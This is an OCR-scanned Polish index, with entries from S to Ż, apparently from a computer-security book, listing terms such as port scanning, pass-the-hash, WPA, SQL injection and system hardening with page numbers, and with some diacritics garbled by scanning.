SCM, Service Control Manager, 275
SEH, Structured Exception Handling, 273
serwer

BIND, 132

C&C, 409

DHCP, 435, 522

DNS, 62, 130, 329

Exchange, 144

FreeRADIUS-WPE, 567

FTP, 97, 126

IS, 140, 610

IPSec, 191

LDAP, 131

NetBus, 261

PostgresSQL, 112

RADIUS, 564

Samba, 191

sendmail, 293

SMTP, 129

SQL Server, 186

TFTP, 136, 513, 522

Tomcat, 410

TTDB, 183

VPN, 191

WHOIS, 58
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serwer
WINS, 218
WWW, 615
WWW Apache, 29
X, 326
posredniczacy, 28
Burp Suite, 627
Fiddler, 625
socat, 31
SOCKS, 28, 31
sslproxy, 139
Sserwis
AWMProxy, 424
CIS, 280
Foundstone, 50
Google Earth, 41
iKat, 504
Mapy Google, 41
XDA Developer, 688
Yahoo! Finance, 46
sesja
ustug, 277
uzytkownika, 277
zerowa, null session, 150, 163
SET, Social Engineering Toolkit, 503
sfalszowane pakiety, 434
SEP, System File Protection, 142
SFU, Windows Services for UNIX, 182
SGID, Set Group ID, 349
sieci bezprzewodowe, 435, 536
ad-hoc, 538
ataki DoS, 552
podstuchiwanie danych, 550
stacjonarne, 538
szyfrowanie, 541
uwierzytelnianie, 540
sie
anonimowa, 28
Bluetooth, 536
botnet, 423
DMZ, 91
PSTN, 510
retailnet, 434
Tor, 28
Voice VLAN, 527
VPN, 39, 144, 191, 482
typu brama-brama, 483
typu klient-brama, 483
uwierzytelnianie, 483
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SIP, Session Initiation Protocol, 510
skaner, 28, 95, 416
ASS, 177
Nessus, 618
NetBIOS, 152
netcat, 101
Nikto, 617
Nmap, 95
ScanLine, 99
SuperScan, 97
Virustotal, 394
Weblnspect, 630
skanery
luk, 119, 121
luk serweréw WWW, 617
udzialow, 153
zabezpieczen aplikacji sieciowych, 629
skanowanie, 77
ARP, 79
FTP bounce, 97
luk, 119
okien TCP, 94
portow, 29, 84, 88, 92, 102
portéw TCP i UDP, 89, 105
SNMP, 171
systeméw SIP, 511, 513
TCP ACK, 94
TCP connect(), 93
TCP FIN, 94
TCP Null, 94
TCP RPC, 94
TCP SYN, 93
TCP Xmas Tree, 94
UDP, 94
UDP oparte na danych, 98
ustug, 134
wersji, 117, 118
sklep
Android Market, 710
App Store, 748
skrét hasta, 218, 232
skrypt, 68, 464
in.ftpd, 324
NSE, 121
Perla, 134
rpcdump.py, 143
S99local, 352
skrypty do wykrywania baz danych, 652
SMB, Server Message Block, 150, 191, 203
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SMTP, Simple Mail Transfer Protocol, 129
sniffer, 356
SNMP, Simple Network Management Protocol,
169
sprawdzanie
listy procesow, 260
luk, 32
numerdw ISN, 106
poprawnoéci danych, 302
portéw, 31
sum kontrolnych, 355
spreparowana strona logowania, 743
SRTP, Secure RTP, 532
SSH, Secure Shell, 289, 359
SSI, Server Side Includes, 651
SSP, Stack Smashing Protector, 295
stan LISTENING, 92
standard
H.323, 532
IEEE 802.11, 536
WPA, 538
sterownik, 228
Android Composite ADB Interface, 686
chipsetu, 542
sterowniki urzadzen, 202
strefa ograniczonego zaufania, 311
strumienie ADS, 257
strumien danych RTP, 527
style CSS, 40
SUID, Set User ID, 349
SVN, Subversion, 289
sygnatl
SIGPIPE, 344
SIGURG, 344
sygnatury TSIG, 71
system
DISA, 481
DNS, 64, 328
EFS, 267
HIPS, 765
IDS, 45, 84
IPS, 74
Meridian, 474
NFES, 189
NIDS, 74
NTES, 256
okienkowy X, 326
PBX, 473, 475
PhoneMail, 475
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SFP, 142
U3, 581
WHOIS, 58
XDR, 318
system operacyjny
Android, 673
BackTrack, 445, 544
FreeBSD, 307
i0S, 725
IRIX, 307
Kindle Fire OS, 684
Linux, 296, 307
Mac OS X, 297, 727
NeXTSTEP, 726
OpenBSD, 297
Solaris, 302, 768
Ubuntu, 367
UNIX, 284
Windows, 200
systemy wykrywania wtaman, 36
sytuacja wyscigu, 343
szkodliwe
aplikacje
Handy Light, 745
InstaStock, 747
TDSS, 423
ze sklepu App Store, 748
biblioteki DLL, 260
procesy, 260
szkodliwy
e-mail, 387
serwer WWW, 216
szperacz sieciowy Shark for Root, 720
szperacze, 356-358
szyfrowanie, 359
AES-CCMP, 541
sygnatu, 532
TKIP, 541
warstwowe, 28
WEP, 538, 541

$ciezka AS, 175
$ledzenie punktéw dostepu, 545
$rodowisko
Citriksa, 492-495, 500, 508
Eclipse, 600
MPLAB IDE, 599
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tablica
IDT, 367
nazw NetBIOS, 147
RainbowCrack, 237
tablice
crackujace, 236
mieszajace, 235
teczowe, rainbow tables, 213, 236, 561
technika
getadmin, 229
lock bumping, 572
pass-the-hash, 219
ping sweep, 90
return-to-libc, 298
techniki
atakow DoS, 794
zabezpieczania oprogramowania, 776
technologia ASLR, 297, 678
technologie bezprzewodowe, 569
telefon IP, 522
telnet, 128
terminal xterm, 325
TFTP, Trivial File Transfer Protocol, 136
TGT, Ticket Granting Ticket, 220
TKIP, Temporal Key Integrity Protocol, 540
TLS, Transport Layer Security, 532
tlumienie komunikatéw o btedach, 106
TNS, Transparent Network Substrate, 187
token procesu, 275
topologia sieci, 71
Tor, The Onion Router, 28
TPM, Trusted Platform Module, 269
translacja NAT, 411
trasowanie
cebulowe, 28
pakietow, 287
trojany, 354, 695
trojany z furtka, 426
tryb
diagnostyczny, 596
odbiorczy, promiscuous mode, 357
PMIE, 271
selektywnego rozruchu, 259
skanowania sieci, 192
TSIG, Transaction Signature, 71
TTDB, ToolTalk Database, 183
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TTL, Time-To-Live, 72
tunel
IPSec, 484
TLS, 567
tunelowanie pakietow, 482
tworzenie
dynamicznych aplikacji sieciowych, 622
eksploitow, 223
hiperlaczy, 502
kanalu powrotnego, 314
kopii witryn, 38
kopii zapasowych, 772
migawki, 389
odbiornika netcata, 315
pakietéw, 85
poprawek, 223
silnych hasel, 241, 290, 340
skrotow, 235, 506
skryptéw VBS, 507
skryptéw Windows Script File, 507
tablic teczowych, 565
tunelu, 483
weztow, 259
zabezpieczen, 765
typy zdalnych atakéw, 315

UCSniff
interfejs graficzny, 530
tryb MiTM, 529
tryb Monitor, 529
ujawnienie kodu zrédlowego, 611
uklady
FPGA, 588
scalone, 587
ukryte znaczniki, 649, 650
ukrywanie
plikéw, 255, 414
serwera, 187
tozsamosci, 64
umowa EULA, 505
uprawnienia, 230, 708
uprawnienia do plikéw i katalogow, 348
URI, Uniform Resource Identifier, 708
uruchamianie
powloki polecen, 493
szkodliwych proceséw, 261
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urzgdzenia
Cisco, 127, 523
przenosne, 572, 672
sieciowe, 136
urzgdzenie
antena, 544
bezprzewodowa karta sieciowa, 542
dysk ATA, 579
iPhone, 726
Kindle Fire, 684
odbiornik GPS, 545
pendrive, 581
punkt dostepu, 545
telefon komérkowy, 585
Ubertooth One, 585
ustuga
Active Directory, 130, 158, 177-181, 233
Alerter, 149
DISA, 480
DNS, 130
finger, 137, 193
FTP, 125, 316
Global Catalog, 131
Google Locations, 41
NBNS, 145, 149, 218
NFES, 105, 182
NIS, 182, 185
NIS+, 185
OpenSSH, 118
Outlook Web Access, 39, 144
portmapper, 182
Postaniec, 149
RAS, 147
Remote Desktop Web Connection, 49
RPC, 105
rpcbind, 182, 193
rusersd, 182
SAM, 232
Scheduler, 260
SMTP, 130
SNMP, 173
SQL Resolution Service, 186
SSH, 331
telnet, 127
Tomcat, 410
VNG, 250
WebConnect, 39
Windows Scheduler, 230
WINVNC, 250, 252
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WML, 158

WSUS, 263
ustugi

domeny, 130

IAX VoIP, 448

sieciowe, 104, 125, 202, 222

SMB, 203

TS, 209, 250

z minimalnymi uprawnieniami, 275
ustalanie wersji Apache’a, 31
ustawianie

alarméw, 212

dostepu anonimowego, 168

inspekgji, 211

serwera RADIUS, 567

zasad grupy, 265
usuwanie

fizycznych zabezpieczen, 586

strumieni plikow, 257
uszkodzenie urzadzenia, 681
uwierzytelnianie, 760

AAA, 127

BSD_AUTH, 332

dwuskladnikowe, 468

jednoskladnikowe, 466

Kerberos, 131

NTLM, 217

SKEY, 332

TACACS+, 127

|

VES, Virtual File System, 368

VNG, Virtual Network Computing, 250
VoIP, Voice over IP, 438, 443

VPN, Virtual Private Network, 39, 287

wardialer, 448

wardialing, 441, 444, 456, 515

warstwy zabezpieczen, 762

warto$¢ TTL, 110

watki procesow, 260

WCE, Windows Credentials Editor, 219, 246
wektor IV, 554

WEP, Wired Equivalent Privacy, 433, 554
wersja serwera WWW, 32, 138

wewnetrzne protokoly trasowania, 177
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wezel
AppDataLow, 272
CachedLogonsCount, 245
Dont Show UL, 206
Konfiguracja uzytkownika, 267
NETSVCS, 425
NL$n, 244
Opcje zabezpieczen, 266
Przypisywanie praw uzytkownika, 231
Run, 259
SAM, 232
Secrets, 242
Services, 426
Software, 259
Ustawienia zabezpieczen, 266
Zasady inspekgji, 210
WFP, Windows File Protection, 269
widmo radiowe, 537
wiersz polecenia, 493
Wi-Fi, Wireless Fidelity, 536
Windows NT4, 229
WINS, Windows Internet Naming Service, 218
wiszacy wskaznik, 308, 310
witryna Verisign, 58
wlamania do §rodowiska Citriksa, 508
wlaczanie inspekeji, 210
WMI, Windows Management Instrumentation,
205
WPA Enterprise, 540, 564
WPA, Wi-Fi Protected Access, 540
WPA-PSK, 540, 559
wpis
w dzienniku, 196
w rejestrze, 258
wstawianie znacznikéw HTML, 637
wstrzykiwanie
bibliotek DLL, 230
kodu w SQL-u, 604, 640
WSUS, Windows Server Update Services, 263
wtyczka TamperData, 624
wtyczki przegladarek, 623
wyciekanie danych, 441, 765
wykorzystanie niezabezpieczonych mozliwosci,
709
wykradanie danych, 703, 705
wykrywanie
aktywnych hostéw, 95
atakow APT, 428
baz danych, 652
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pasywne, 109
pingowania, 91
skanowania portéw, 103, 108
systemu operacyjnego, 103, 108
szkodliwych plikéw, 258
wyliczanie, enumeration, 115
banera ustugi, 123
domen, 145
egzemplarzy serweréw SQL, 186
grup roboczych, 145
informacji o systemie, 127
kont, 128, 158
kontroler6w domeny, 146
tras BGP, 175, 177
udzialéw plikowych, 151
uzytkownikow, 156, 520
wpisow DN, 68
zaufanych domen, 155
wylgczanie
inspekgji, 254
ustug
NBNS, 218
NetBIOS, 208
SMB, 208
zbednych ustug, 103, 280, 296, 769
wymuszanie silnych hasel, 208
wyszukiwanie
lokalizacji na podstawie adresu MAC, 41
szkodliwych wpiséw, 258
wyszukiwarka SHODAN, 52
wyszukiwarki, 48
wyswietlanie tablicy nazw NetBIOS, 147
wywolania RPC, 318

XDR, External Data Representation, 318
XSS, Cross-Site Scripting, 636

z

zabezpieczanie
aplikacji sieciowych, 774
aplikacji uzytkowych, 226
baz danych, 774
bibliotek wspotuzytkowanych, 346
komputer6éw stacjonarnych, 765
OpenSSL-a, 333
oprogramowania, 776
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plikow z bitem SUID, 351

pliku core, 345

polaczen wdzwanianych, 470

portéw, 261

protokotu EAP-TTLS, 569

protokotu LEAP, 566

protokotu PEAP, 569

rozwigzan mobilnych, 775

sendmaila, 317

serwera Apache, 334

serwera TFTP, 514

serwerdw, 766

sieci, 772

sieci WEP, 558

sieci WPA-PSK, 563

sie przed rootkitami, 368

sie przed skanowaniem portéw, 102

sie przed szperaczami, 358

sie przed trojanami, 355

systeméw NT, 193

systemu DN, 70, 330

systemu NEFS, 325

systemu Windows, 201

systemu X, 327

urzadzen z Androidem, 678, 723

ustug FTP, 316

ustug RPC, 319

ustug SSH, 332

w kazdej warstwie, 762

wbudowanych obiektow sktadowanych, 662

zdalnego dostepu, 534
zainfekowane hosty, 423
zaplanowane zadania, 402
zapobieganie atakom XSS, 637
zapora, 194

CheckPoint, 45

Cisco PIX, 52

Windows, 207, 262, 769
zapytania

do rejestru, 401

do serwera WHOIS, 58
zarzadzanie

bezpieczenstwem, 266

botnetami, 383

przesylaniem informacji, 135
zasady

grup, 208, 264, 281

ograniczania dostepu do sieci, 276
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tworzenia hasel, 241, 768

zabezpieczen, 264
zasoby

chronione, 270

dotyczace bezpieczenstwa, 371
zaszyfrowane skroty, 244
zatruwanie DNS, cache poisoning, 328
zdalna kontrola, 247, 249
zdalne

odgadywanie hasta, 203

wykonywanie kodu, 288, 616

wywotywanie powloki, 699
zdalny

dostep, 191

pulpit, 251, 490
zdobywanie skrotow hasel, 232
zimne przeladowywanie, 269
zta konfiguracja systemu, 348
zmiana

adresu IP, 700

kontekstu watku, 261

portu TS, 210
zmienna $rodowiskowa GEM_PATH, 447
znaczniki

czasu, 370

VLAN, 524
znajdowanie

podatnych na atak aplikacji, 619

sieci bezprzewodowych

odkrywanie aktywne, 546
odkrywanie pasywne, 547

zysk energetyczny anteny, 544

z

zadania
ARP, 556
rekordu version.bind, 134
zadanie
GET, 613
HEAD, 139
INVITE, 518, 532
OPTIONS, 516, 518
Probe Request, 538
REGISTER, 515, 518
skojarzenia, 539
uwierzytelnienia, 538
Voice VLAN Query, 522
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